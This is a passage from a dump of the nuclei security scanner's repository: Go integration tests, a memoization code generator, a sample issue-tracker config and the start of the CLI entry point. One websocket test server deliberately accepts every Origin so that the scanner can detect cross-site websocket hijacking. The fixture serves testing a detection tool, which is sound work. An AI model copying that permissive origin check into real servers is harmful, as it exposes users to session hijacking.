err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype websocketCswsh struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *websocketCswsh) Execute(filePath string) error {\n\tconnHandler := func(conn net.Conn) {\n\n\t}\n\toriginValidate := func(origin string) bool {\n\t\treturn true\n\t}\n\tts := testutils.NewWebsocketServer(\"\", connHandler, originValidate)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, strings.ReplaceAll(ts.URL, \"http\", \"ws\"), debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype websocketNoCswsh struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *websocketNoCswsh) Execute(filePath string) error {\n\tconnHandler := func(conn net.Conn) {\n\n\t}\n\toriginValidate := func(origin string) bool {\n\t\treturn origin == \"https://google.com\"\n\t}\n\tts := testutils.NewWebsocketServer(\"\", connHandler, originValidate)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, strings.ReplaceAll(ts.URL, \"http\", \"ws\"), debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 0)\n}\n\ntype websocketWithPath struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *websocketWithPath) Execute(filePath string) error {\n\tconnHandler := func(conn net.Conn) {\n\n\t}\n\toriginValidate := func(origin string) bool {\n\t\treturn origin == \"https://google.com\"\n\t}\n\tts := testutils.NewWebsocketServer(\"/test\", connHandler, originValidate)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, strings.ReplaceAll(ts.URL, \"http\", \"ws\"), debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 0)\n}\n"
  },
  {
    "path": "cmd/integration-test/whois.go",
    "content": "package main\n\nimport (\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n)\n\nvar whoisTestCases = []TestCaseInfo{\n\t{Path: \"protocols/whois/basic.yaml\", TestCase: &whoisBasic{}},\n}\n\ntype whoisBasic struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *whoisBasic) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiTemplateAndGetResults(filePath, \"https://example.com\", debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\treturn expectResultsCount(results, 1)\n}\n"
  },
  {
    "path": "cmd/integration-test/workflow.go",
    "content": "package main\n\nimport (\n\t\"fmt\"\n\t\"io\"\n\t\"log\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\n\t\"github.com/julienschmidt/httprouter\"\n\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates/signer\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/testutils\"\n\tsliceutil \"github.com/projectdiscovery/utils/slice\"\n)\n\nvar workflowTestcases = []TestCaseInfo{\n\t{Path: \"workflow/basic.yaml\", TestCase: &workflowBasic{}},\n\t{Path: \"workflow/condition-matched.yaml\", TestCase: &workflowConditionMatched{}},\n\t{Path: \"workflow/condition-unmatched.yaml\", TestCase: &workflowConditionUnmatch{}},\n\t{Path: \"workflow/matcher-name.yaml\", TestCase: &workflowMatcherName{}},\n\t{Path: \"workflow/complex-conditions.yaml\", TestCase: &workflowComplexConditions{}},\n\t{Path: \"workflow/http-value-share-workflow.yaml\", TestCase: &workflowHttpKeyValueShare{}},\n\t{Path: \"workflow/dns-value-share-workflow.yaml\", TestCase: &workflowDnsKeyValueShare{}},\n\t{Path: \"workflow/code-value-share-workflow.yaml\", TestCase: &workflowCodeKeyValueShare{}, DisableOn: isCodeDisabled}, // isCodeDisabled declared in code.go\n\t{Path: \"workflow/multiprotocol-value-share-workflow.yaml\", TestCase: &workflowMultiProtocolKeyValueShare{}},\n\t{Path: \"workflow/multimatch-value-share-workflow.yaml\", TestCase: &workflowMultiMatchKeyValueShare{}},\n\t{Path: \"workflow/shared-cookie.yaml\", TestCase: &workflowSharedCookies{}},\n}\n\nfunc init() {\n\t// sign code templates (unless they are disabled)\n\tif !isCodeDisabled() {\n\t\t// allow local file access to load content of file references in template\n\t\t// in order to sign them for testing purposes\n\t\ttemplates.TemplateSignerLFA()\n\n\t\t// testCertFile and testKeyFile are declared in code.go\n\t\ttsigner, err := signer.NewTemplateSignerFromFiles(testCertFile, testKeyFile)\n\t\tif err != nil {\n\t\t\tpanic(err)\n\t\t}\n\n\t\t// only the code templates are necessary to be signed\n\t\tvar templatesToSign = []string{\n\t\t\t\"workflow/code-template-1.yaml\",\n\t\t\t\"workflow/code-template-2.yaml\",\n\t\t}\n\t\tfor _, templatePath := range templatesToSign {\n\t\t\tif err := templates.SignTemplate(tsigner, templatePath); err != nil {\n\t\t\t\tlog.Fatalf(\"Could not sign template %v got: %s\\n\", templatePath, err)\n\t\t\t}\n\t\t}\n\t}\n}\n\ntype workflowBasic struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *workflowBasic) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprintf(w, \"This is test matcher text\")\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiWorkflowAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 2)\n}\n\ntype workflowConditionMatched struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *workflowConditionMatched) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprintf(w, \"This is test matcher text\")\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiWorkflowAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype workflowConditionUnmatch struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *workflowConditionUnmatch) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprintf(w, \"This is test matcher text\")\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiWorkflowAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 0)\n}\n\ntype workflowMatcherName struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *workflowMatcherName) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprintf(w, \"This is test matcher text\")\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiWorkflowAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype workflowComplexConditions struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *workflowComplexConditions) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprintf(w, \"This is test matcher text\")\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiWorkflowAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tfor _, result := range results {\n\t\tif !strings.Contains(result, \"test-matcher-3\") {\n\t\t\treturn fmt.Errorf(\"incorrect result: the \\\"basic-get-third:test-matcher-3\\\" and only that should be matched!\\nResults:\\n\\t%s\", strings.Join(results, \"\\n\\t\"))\n\t\t}\n\t}\n\treturn expectResultsCount(results, 2)\n}\n\ntype workflowHttpKeyValueShare struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *workflowHttpKeyValueShare) Execute(filePath string) error {\n\trouter := httprouter.New()\n\trouter.GET(\"/path1\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprintf(w, \"href=\\\"test-value\\\"\")\n\t})\n\trouter.GET(\"/path2\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tbody, _ := io.ReadAll(r.Body)\n\t\t_, _ = fmt.Fprintf(w, \"%s\", body)\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiWorkflowAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype workflowDnsKeyValueShare struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *workflowDnsKeyValueShare) Execute(filePath string) error {\n\tresults, err := testutils.RunNucleiWorkflowAndGetResults(filePath, \"http://scanme.sh\", debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// no results - ensure that the variable sharing works\n\treturn expectResultsCount(results, 1)\n}\n\ntype workflowCodeKeyValueShare struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *workflowCodeKeyValueShare) Execute(filePath string) error {\n\t// provide the Certificate File that the code templates are signed with\n\tcertEnvVar := signer.CertEnvVarName + \"=\" + testCertFile\n\n\tresults, err := testutils.RunNucleiArgsWithEnvAndGetResults(debug, []string{certEnvVar}, \"-workflows\", filePath, \"-target\", \"input\", \"-code\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 1)\n}\n\ntype workflowMultiProtocolKeyValueShare struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *workflowMultiProtocolKeyValueShare) Execute(filePath string) error {\n\trouter := httprouter.New()\n\t// the response of path1 contains a domain that will be extracted and shared with the second template\n\trouter.GET(\"/path1\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprintf(w, \"href=\\\"blog.projectdiscovery.io\\\"\")\n\t})\n\t// path2 responds with the value of the \"extracted\" query parameter, e.g.: /path2?extracted=blog.projectdiscovery.io => blog.projectdiscovery.io\n\trouter.GET(\"/path2\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprintf(w, \"%s\", r.URL.Query().Get(\"extracted\"))\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiWorkflowAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(results, 2)\n}\n\ntype workflowMultiMatchKeyValueShare struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *workflowMultiMatchKeyValueShare) Execute(filePath string) error {\n\tvar receivedData []string\n\trouter := httprouter.New()\n\trouter.GET(\"/\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprintf(w, \"This is test matcher text\")\n\t})\n\trouter.GET(\"/path1\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\t_, _ = fmt.Fprintf(w, \"href=\\\"test-value-%s\\\"\", r.URL.Query().Get(\"v\"))\n\t})\n\trouter.GET(\"/path2\", func(w http.ResponseWriter, r *http.Request, _ httprouter.Params) {\n\t\tbody, _ := io.ReadAll(r.Body)\n\t\treceivedData = append(receivedData, string(body))\n\t\t_, _ = fmt.Fprintf(w, \"test-value\")\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\tresults, err := testutils.RunNucleiWorkflowAndGetResults(filePath, ts.URL, debug)\n\tif err != nil {\n\t\treturn err\n\t}\n\n\t// Check if we received the data from both request to /path1 and it is not overwritten by the later one.\n\t// They will appear in brackets because of another bug: https://github.com/orgs/projectdiscovery/discussions/3766\n\tif !sliceutil.Contains(receivedData, \"[test-value-1]\") || !sliceutil.Contains(receivedData, \"[test-value-2]\") {\n\t\treturn fmt.Errorf(\n\t\t\t\"incorrect data: did not receive both extracted data from the first request!\\nReceived Data:\\n\\t%s\\nResults:\\n\\t%s\",\n\t\t\tstrings.Join(receivedData, \"\\n\\t\"),\n\t\t\tstrings.Join(results, \"\\n\\t\"),\n\t\t)\n\t}\n\t// The number of expected results is 3: the workflow's Matcher Name based condition check forwards both match, and the other branch with simple subtemplates goes with one\n\treturn expectResultsCount(results, 3)\n}\n\ntype workflowSharedCookies struct{}\n\n// Execute executes a test case and returns an error if occurred\nfunc (h *workflowSharedCookies) Execute(filePath string) error {\n\thandleFunc := func(name string, w http.ResponseWriter, _ *http.Request, _ httprouter.Params) {\n\t\tcookie := &http.Cookie{Name: name, Value: name}\n\t\thttp.SetCookie(w, cookie)\n\t}\n\n\tvar gotCookies []string\n\trouter := httprouter.New()\n\trouter.GET(\"/http1\", func(w http.ResponseWriter, r *http.Request, p httprouter.Params) {\n\t\thandleFunc(\"http1\", w, r, p)\n\t})\n\trouter.GET(\"/http2\", func(w http.ResponseWriter, r *http.Request, p httprouter.Params) {\n\t\thandleFunc(\"http2\", w, r, p)\n\t})\n\trouter.GET(\"/headless1\", func(w http.ResponseWriter, r *http.Request, p httprouter.Params) {\n\t\thandleFunc(\"headless1\", w, r, p)\n\t})\n\trouter.GET(\"/http3\", func(w http.ResponseWriter, r *http.Request, p httprouter.Params) {\n\t\tfor _, cookie := range r.Cookies() {\n\t\t\tgotCookies = append(gotCookies, cookie.Name)\n\t\t}\n\t})\n\tts := httptest.NewServer(router)\n\tdefer ts.Close()\n\n\t_, err := testutils.RunNucleiWorkflowAndGetResults(filePath, ts.URL, debug, \"-headless\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\treturn expectResultsCount(gotCookies, 3)\n}\n"
  },
  {
    "path": "cmd/memogen/function.tpl",
    "content": "// Warning - This is generated code\npackage {{.SourcePackage}}\n\nimport (\n    \"github.com/projectdiscovery/utils/memoize\"\n    \n    {{range .Imports}}\n        {{.Name}} {{.Path}}\n    {{end}}    \n)\n\n{{range .Functions}}\n    {{ .SignatureWithPrefix \"memoized\" }} {\n        hash := \"{{ .Name }}\" {{range .Params}} + \":\" + fmt.Sprint({{.Name}}) {{end}}\n\n        v, err, _ := protocolstate.Memoizer.Do(hash, func() (interface{}, error) {\n            return {{.Name}}({{.ParamsNames}})\n        })\n        if err != nil {\n            return {{.ResultFirstFieldDefaultValue}}, err\n        }\n        if value, ok := v.({{.ResultFirstFieldType}}); ok {\n            return value, nil\n        }\n\n        return {{.ResultFirstFieldDefaultValue}}, errors.New(\"could not convert cached result\")\n    }\n{{end}}  "
  },
  {
    "path": "cmd/memogen/memogen.go",
    "content": "// this small cli tool is specific for those functions with arbitrary parameters and with result-error tuple as return values\n// func(x,y) => result, error\n// it works by creating a new memoized version of the functions in the same path as memo.original.file.go\n// some parts are specific for nuclei and hardcoded within the template\npackage main\n\nimport (\n\t\"flag\"\n\t\"io/fs\"\n\t\"log\"\n\t\"os\"\n\t\"path/filepath\"\n\n\t\"github.com/projectdiscovery/utils/memoize\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n)\n\nvar (\n\tsrcPath = flag.String(\"src\", \"\", \"nuclei source path\")\n\ttplPath = flag.String(\"tpl\", \"function.tpl\", \"template path\")\n\ttplSrc  []byte\n)\n\nfunc main() {\n\tflag.Parse()\n\n\tvar err error\n\ttplSrc, err = os.ReadFile(*tplPath)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n\n\terr = filepath.Walk(*srcPath, walk)\n\tif err != nil {\n\t\tlog.Fatal(err)\n\t}\n}\n\nfunc walk(path string, info fs.FileInfo, err error) error {\n\tif info.IsDir() {\n\t\treturn nil\n\t}\n\n\tif err != nil {\n\t\treturn err\n\t}\n\n\text := filepath.Ext(path)\n\tbase := filepath.Base(path)\n\n\tif !stringsutil.EqualFoldAny(ext, \".go\") {\n\t\treturn nil\n\t}\n\n\tbasePath := filepath.Dir(path)\n\toutPath := filepath.Join(basePath, \"memo.\"+base)\n\n\t// filename := filepath.Base(path)\n\tdata, err := os.ReadFile(path)\n\tif err != nil {\n\t\treturn err\n\t}\n\tif !stringsutil.ContainsAnyI(string(data), \"@memo\") {\n\t\treturn nil\n\t}\n\tlog.Println(\"processing:\", path)\n\tout, err := memoize.Src(string(tplSrc), path, data, \"\")\n\tif err != nil {\n\t\treturn err\n\t}\n\n\tif err := os.WriteFile(outPath, out, os.ModePerm); err != nil {\n\t\treturn err\n\t}\n\n\treturn nil\n}\n"
  },
  {
    "path": "cmd/nuclei/issue-tracker-config.yaml",
    "content": "# global allow/deny list. this will affect both exporters\n# as well as issue trackers. you can filter trackers with\n# a tracker level filter on top of an exporter by setting\n# allow-list/deny-list per tracker.\n#\n#allow-list:\n#  severity: high, critical\n#deny-list:\n#  severity: low\n#\n# GitHub contains configuration options for GitHub issue tracker\n#github:\n#  # base-url is the optional self-hosted GitHub application url\n#  base-url: https://localhost:8443/github\n#  # username is the username of the GitHub user\n#  username: test-username\n#  # owner is the owner name of the repository for issues\n#  owner: test-owner\n#  # token is the token for GitHub account\n#  token: test-token\n#  # project-name is the name of the repository\n#  project-name: test-project\n#  # issue-label is the label of the created issue type\n#  issue-label: bug\n#  # allow-list sets a tracker level filter to only create issues for templates with\n#  # these severity labels or tags (does not affect exporters. set those globally)\n#  allow-list:\n#    severity: high, critical\n#    tags: network\n#  # deny-list sets a tracker level filter to never create issues for templates with\n#  # these severity labels or tags (does not affect exporters. set those globally)\n#  deny-list:\n#    severity: low\n#  # duplicate-issue-check flag to enable duplicate tracking issue check.\n#  duplicate-issue-check: false\n#\n# GitLab contains configuration options for gitlab issue tracker\n#gitlab:\n#  # base-url is the optional self-hosted GitLab application url\n#  base-url: https://localhost:8443/gitlab\n#  # username is the username of the GitLab user\n#  username: test-username\n#  # token is the token for GitLab account\n#  token: test-token\n#  # project-name is the name/id of the project(repository)\n#  project-name: \"1234\"\n#  # issue-label is the label of the created issue type\n#  issue-label: bug\n#  # allow-list sets a tracker level filter to only create issues for templates with\n#  # these severity labels or tags (does not affect exporters. set those globally)\n#  allow-list:\n#    severity: high, critical\n#    tags: network\n#  # deny-list sets a tracker level filter to never create issues for templates with\n#  # these severity labels or tags (does not affect exporters. set those globally)\n#  deny-list:\n#    severity: low\n#  # duplicate-issue-check (optional) flag to enable duplicate tracking issue check\n#  duplicate-issue-check: false\n#  # duplicate-issue-page-size (optional) controls how many issues to fetch per page when searching for duplicates\n#  duplicate-issue-page-size: 100\n#  # duplicate-issue-max-pages (optional) limits how many pages to fetch when searching for duplicates (0 = no limit)\n#  duplicate-issue-max-pages: 0\n#\n# Gitea contains configuration options for a gitea issue tracker\n#gitea:\n#  # base-url is the optional self-hosted Gitea application url (defaults to https://gitea.com)\n#  base-url: https://localhost:8443/\n#  # token is the token for a Gitea account to use\n#  token: test-token\n#  # project-owner is the owner (user or org) of the repository\n#  project-owner: \"1234\"\n#  # project-name is the name of the repository\n#  project-name: \"1234\"\n#  # issue-label is a custom label to add to created issues\n#  issue-label: bug\n#  # severity-as-label (optional) adds the severity as a label of the created issue\n#  severity-as-label: true\n#  # allow-list sets a tracker level filter to only create issues for templates with\n#  # these severity labels or tags (does not affect exporters. set those globally)\n#  allow-list:\n#    severity: high, critical\n#    tags: network\n#  # deny-list sets a tracker level filter to never create issues for templates with\n#  # these severity labels or tags (does not affect exporters. set those globally)\n#  deny-list:\n#    severity: low\n#  # duplicate-issue-check (optional) flag to enable duplicate tracking issue check\n#  duplicate-issue-check: false\n#  # duplicate-issue-page-size (optional) controls how many issues to fetch per page when searching for duplicates\n#  duplicate-issue-page-size: 100\n#  # duplicate-issue-max-pages (optional) limits how many pages to fetch when searching for duplicates (0 = no limit)\n#  duplicate-issue-max-pages: 0\n#\n# Jira contains configuration options for Jira issue tracker\n#jira:\n#  # cloud is the boolean which tells if Jira instance is running in the cloud or on-prem version is used\n#  cloud: true\n#  # update-existing is the boolean which tells if the existing, opened issue should be updated or new one should be created\n#  update-existing: false\n#  # URL is the jira application url\n#  url: https://localhost/jira\n#  # site-url is the browsable URL for the Jira instance (optional)\n#  # If not provided, issue.Self will be used. Useful for OAuth where issue.Self contains api.atlassian.com\n#  site-url: https://your-company.atlassian.net\n#  # account-id is the account-id of the Jira user or username in case of on-prem Jira\n#  account-id: test-account-id\n#  # email is the email of the user for Jira instance\n#  email: test@test.com\n#  # token is the token for Jira instance or password in case of on-prem Jira\n#  token: test-token\n#  # project-name is the name of the project.\n#  project-name: test-project-name\n#  # issue-type is the name of the created issue type (case sensitive)\n#  issue-type: Bug\n#  # SeverityAsLabel (optional) sends the severity as the label of the created issue\n#  # User custom fields for Jira Cloud instead\n#  severity-as-label: true\n#  # allow-list sets a tracker level filter to only create issues for templates with\n#  # these severity labels or tags (does not affect exporters. set those globally)\n#  allow-list:\n#    severity: high, critical\n#    tags: network\n#  # deny-list sets a tracker level filter to never create issues for templates with\n#  # these severity labels or tags (does not affect exporters. set those globally)\n#  deny-list:\n#    severity: low\n#  # Whatever your final status is that you want to use as a closed ticket - Closed, Done, Remediated, etc\n#  # When checking for duplicates, the JQL query will filter out status's that match this.\n#  # If it finds a match _and_ the ticket does have this status, a new one will be created.\n# status-not: Closed\n#  # Customfield supports name, id and freeform. name and id are to be used when the custom field is a dropdown.\n#  # freeform can be used if the custom field is just a text entry\n#  # Variables can be used to pull various pieces of data from the finding itself.\n#  # Supported variables: $CVSSMetrics, $CVEID, $CWEID, $Host, $Severity, $CVSSScore, $Name\n# custom-fields:\n#  customfield_00001:\n#    name: \"Nuclei\"\n#  customfield_00002:\n#    freeform: $CVSSMetrics\n#  customfield_00003:\n#    freeform: $CVSSScore\n# elasticsearch contains configuration options for elasticsearch exporter\n#elasticsearch:\n#  # IP for elasticsearch instance\n#  ip: 127.0.0.1\n#  # Port is the port of elasticsearch instance\n#  port: 9200\n#  # IndexName is the name of the elasticsearch index\n#  index-name: nuclei\n#  # SSL enables ssl for elasticsearch connection\n#  ssl: false\n#  # SSLVerification disables SSL verification for elasticsearch\n#  ssl-verification: false\n#  # Username for the elasticsearch instance\n#  username: test\n#  # Password is the password for elasticsearch instance\n#  password: test\n#linear:\n#  # api-key is the API key for the linear account\n#  api-key: \"\"\n#  # allow-list sets a tracker level filter to only create issues for templates with\n#  # these severity labels or tags (does not affect exporters. set those globally)\n#  deny-list:\n#    severity: critical\n#  # deny-list sets a tracker level filter to never create issues for templates with\n#  # these severity labels or tags (does not affect exporters. set those globally)\n#  deny-list:\n#    severity: low\n#  # team-id is the ID of the team in Linear\n#  team-id: \"\"\n#  # project-id is the ID of the project in Linear\n#  project-id: \"\"\n#  # duplicate-issue-check flag to enable duplicate tracking issue check\n#  duplicate-issue-check: false\n#  # open-state-id is the ID of the open state in Linear\n#  open-state-id: \"\"\n#mongodb:\n#  # the connection string to the MongoDB database\n#  # (e.g., mongodb://root:example@localhost:27017/nuclei?ssl=false&authSource=admin)\n#  connection-string: \"\"\n#  # the name of the collection to store the issues\n#  collection-name: \"\"\n#  # excludes the Request and Response from the results (helps with filesize)\n#  omit-raw: false\n#  # determines the number of results to be kept in memory before writing it to the database or 0 to\n#  # persist all in memory and write all results at the end (default)\n#  batch-size: 0\n"
  },
  {
    "path": "cmd/nuclei/main.go",
    "content": "package main\n\nimport (\n\t\"bufio\"\n\t\"fmt\"\n\t\"io/fs\"\n\t\"os\"\n\t\"os/signal\"\n\t\"path/filepath\"\n\t\"runtime\"\n\t\"runtime/pprof\"\n\t\"runtime/trace\"\n\t\"strings\"\n\t\"time\"\n\n\t\"github.com/projectdiscovery/gologger\"\n\t_pdcp \"github.com/projectdiscovery/nuclei/v3/internal/pdcp\"\n\t\"github.com/projectdiscovery/utils/auth/pdcp\"\n\t\"github.com/projectdiscovery/utils/env\"\n\t_ \"github.com/projectdiscovery/utils/pprof\"\n\tstringsutil \"github.com/projectdiscovery/utils/strings\"\n\t\"github.com/rs/xid\"\n\t\"gopkg.in/yaml.v2\"\n\n\t\"github.com/projectdiscovery/goflags\"\n\t\"github.com/projectdiscovery/gologger/levels\"\n\t\"github.com/projectdiscovery/interactsh/pkg/client\"\n\t\"github.com/projectdiscovery/nuclei/v3/internal/runner\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/catalog/config\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/input/provider\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/installer\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/model/types/severity\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/operators/common/dsl\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/common/uncover\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/protocols/http\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates/extensions\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/templates/signer\"\n\ttemplateTypes \"github.com/projectdiscovery/nuclei/v3/pkg/templates/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/types/scanstrategy\"\n\t\"github.com/projectdiscovery/nuclei/v3/pkg/utils/monitor\"\n\t\"github.com/projectdiscovery/utils/errkit\"\n\tfileutil \"github.com/projectdiscovery/utils/file\"\n\tunitutils \"github.com/projectdiscovery/utils/unit\"\n\tupdateutils \"github.com/projectdiscovery/utils/update\"\n)\n\nvar (\n\tcfgFile         string\n\ttemplateProfile string\n\tmemProfile      string // optional profile file path\n\toptions         = &types.Options{}\n)\n\nfunc main() {\n\toptions.Logger = gologger.DefaultLogger\n\n\t// enables CLI specific configs mostly interactive behavior\n\tconfig.CurrentAppMode = config.AppModeCLI\n\n\tif err := runner.ConfigureOptions(); err != nil {\n\t\toptions.Logger.Fatal().Msgf(\"Could not initialize options: %s\\n\", err)\n\t}\n\t_ = readConfig()\n\n\tif options.ListDslSignatures {\n\t\toptions.Logger.Info().Msgf(\"The available custom DSL functions are:\")\n\t\tfmt.Println(dsl.GetPrintableDslFunctionSignatures(options.NoColor))\n\t\treturn\n\t}\n\n\t// sign the templates if requested - only glob syntax is supported\n\tif options.SignTemplates {\n\t\t// use parsed options when initializing signer instead of default options\n\t\ttemplates.UseOptionsForSigner(options)\n\t\ttsigner, err := signer.NewTemplateSigner(nil, nil) // will read from env , config or generate new keys\n\t\tif err != nil {\n\t\t\toptions.Logger.Fatal().Msgf(\"couldn't initialize signer crypto engine: %s\\n\", err)\n\t\t}\n\n\t\tsuccessCounter := 0\n\t\terrorCounter := 0\n\t\tfor _, item := range options.Templates {\n\t\t\terr := filepath.WalkDir(item, func(iterItem string, d fs.DirEntry, err error) error {\n\t\t\t\tif err != nil || d.IsDir() || !strings.HasSuffix(iterItem, extensions.YAML) {\n\t\t\t\t\t// skip non yaml files\n\t\t\t\t\treturn nil\n\t\t\t\t}\n\n\t\t\t\tif err := templates.SignTemplate(tsigner, iterItem); err != nil {\n\t\t\t\t\tif err != templates.ErrNotATemplate {\n\t\t\t\t\t\t// skip warnings and errors as given items are not templates\n\t\t\t\t\t\terrorCounter++\n\t\t\t\t\t\toptions.Logger.Error().Msgf(\"could not sign '%s': %s\\n\", iterItem, err)\n\t\t\t\t\t}\n\t\t\t\t} else {\n\t\t\t\t\tsuccessCounter++\n\t\t\t\t}\n\n\t\t\t\treturn nil\n\t\t\t})\n\t\t\tif err != nil {\n\t\t\t\toptions.Logger.Error().Msgf(\"%s\\n\", err)\n\t\t\t}\n\t\t}\n\t\toptions.Logger.Info().Msgf(\"All templates signatures were elaborated success=%d failed=%d\\n\", successCounter, errorCounter)\n\t\treturn\n\t}\n\n\t// Profiling & tracing related code\n\tif memProfile != \"\" {\n\t\tmemProfile = strings.TrimSuffix(memProfile, filepath.Ext(memProfile))\n\n\t\tcreateProfileFile := func(ext, profileType string) *os.File {\n\t\t\tf, err := os.Create(memProfile + ext)\n\t\t\tif err != nil {\n\t\t\t\toptions.Logger.Fatal().Msgf(\"profile: could not create %s profile %q file: %v\", profileType, f.Name(), err)\n\t\t\t}\n\t\t\treturn f\n\t\t}\n\n\t\tmemProfileFile := createProfileFile(\".mem\", \"memory\")\n\t\tcpuProfileFile := createProfileFile(\".cpu\", \"CPU\")\n\t\ttraceFile := createProfileFile(\".trace\", \"trace\")\n\n\t\toldMemProfileRate := runtime.MemProfileRate\n\t\truntime.MemProfileRate = 4096\n\n\t\t// Start tracing\n\t\tif err := trace.Start(traceFile); err != nil {\n\t\t\toptions.Logger.Fatal().Msgf(\"profile: could not start trace: %v\", err)\n\t\t}\n\n\t\t// Start CPU profiling\n\t\tif err := pprof.StartCPUProfile(cpuProfileFile); err != nil {\n\t\t\toptions.Logger.Fatal().Msgf(\"profile: could not start CPU profile: %v\", err)\n\t\t}\n\n\t\tdefer func() {\n\t\t\t// Start heap memory snapshot\n\t\t\tif err := pprof.WriteHeapProfile(memProfileFile); err != nil {\n\t\t\t\toptions.Logger.Fatal().Msgf(\"profile: could not write memory profile: %v\", err)\n\t\t\t}\n\n\t\t\tpprof.StopCPUProfile()\n\t\t\t_ = memProfileFile.Close()\n\t\t\t_ = traceFile.Close()\n\t\t\ttrace.Stop()\n\n\t\t\truntime.MemProfileRate = oldMemProfileRate\n\n\t\t\toptions.Logger.Info().Msgf(\"CPU profile 